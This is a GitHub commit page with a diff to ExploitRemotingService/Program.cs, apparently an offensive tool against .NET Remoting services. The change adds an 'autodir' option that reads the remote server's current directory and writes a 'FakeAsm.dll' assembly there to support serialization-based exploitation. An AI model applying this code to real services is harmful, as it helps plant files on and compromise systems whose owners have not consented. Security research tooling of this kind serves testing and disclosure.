Skip to content

Commit 0d61dea

Browse files
committed
Added an autodir option.
1 parent c9d9629 commit 0d61dea

File tree

1 file changed

+11
-4
lines changed

1 file changed

+11
-4
lines changed

ExploitRemotingService/Program.cs

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ class Program
5050
private static bool _secure;
5151
private static int _ver;
5252
private static bool _null_uri;
53+
private static bool _autodir;
5354
private static string _remotename;
5455
private static bool _usecom;
5556
private static bool _useser;
@@ -148,6 +149,7 @@ private static bool ProcessArgs(string[] args)
148149
_remotename = Guid.Empty.ToString();
149150
_ver = 0;
150151
_null_uri = false;
152+
_autodir = false;
151153

152154
OptionSet p = new OptionSet() {
153155
{ "s|secure", "Enable secure mode", v => _secure = v != null },
@@ -170,6 +172,7 @@ private static bool ProcessArgs(string[] args)
170172
{ "useser", "Uses old serialization tricks, only works on full type filter services",
171173
v => _useser = v != null },
172174
{ "nulluri", "Don't send the URI header to the server", v => _null_uri = v != null },
175+
{ "autodir", "When useser is specified try and automatically work out the installdir parameter from the server's current directory.", v => _autodir = v != null },
173176
{ "installdir=", "Specify the install directory of the service executable to enable full support with useser",
174177
v => _installdir = v },
175178
{ "h|?|help", v => showhelp = v != null },
@@ -263,8 +266,14 @@ private static IRemoteClass GetExistingRemoteClass()
263266
private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
264267
{
265268
SerializerRemoteClass remote = new SerializerRemoteClass(channel);
266-
if (!string.IsNullOrWhiteSpace(_installdir))
269+
if (!string.IsNullOrWhiteSpace(_installdir) || _autodir)
267270
{
271+
if (_autodir)
272+
{
273+
DirectoryInfo curr_dir = remote.GetDirectory(".");
274+
_installdir = curr_dir.FullName;
275+
}
276+
268277
string path = Path.Combine(_installdir, "FakeAsm.dll");
269278
bool installed = true;
270279

@@ -279,11 +288,9 @@ private static IRemoteClass CreateRemoteClassSerial(CustomChannel channel)
279288

280289
if (!installed)
281290
{
282-
Uri uri = new Uri(typeof(IRemoteClass).Assembly.CodeBase, UriKind.Absolute);
283-
284291
try
285292
{
286-
remote.WriteFile(path, File.ReadAllBytes(uri.LocalPath));
293+
remote.WriteFile(path, File.ReadAllBytes(typeof(IRemoteClass).Assembly.Location));
287294
}
288295
catch
289296
{

0 commit comments

Comments
 (0)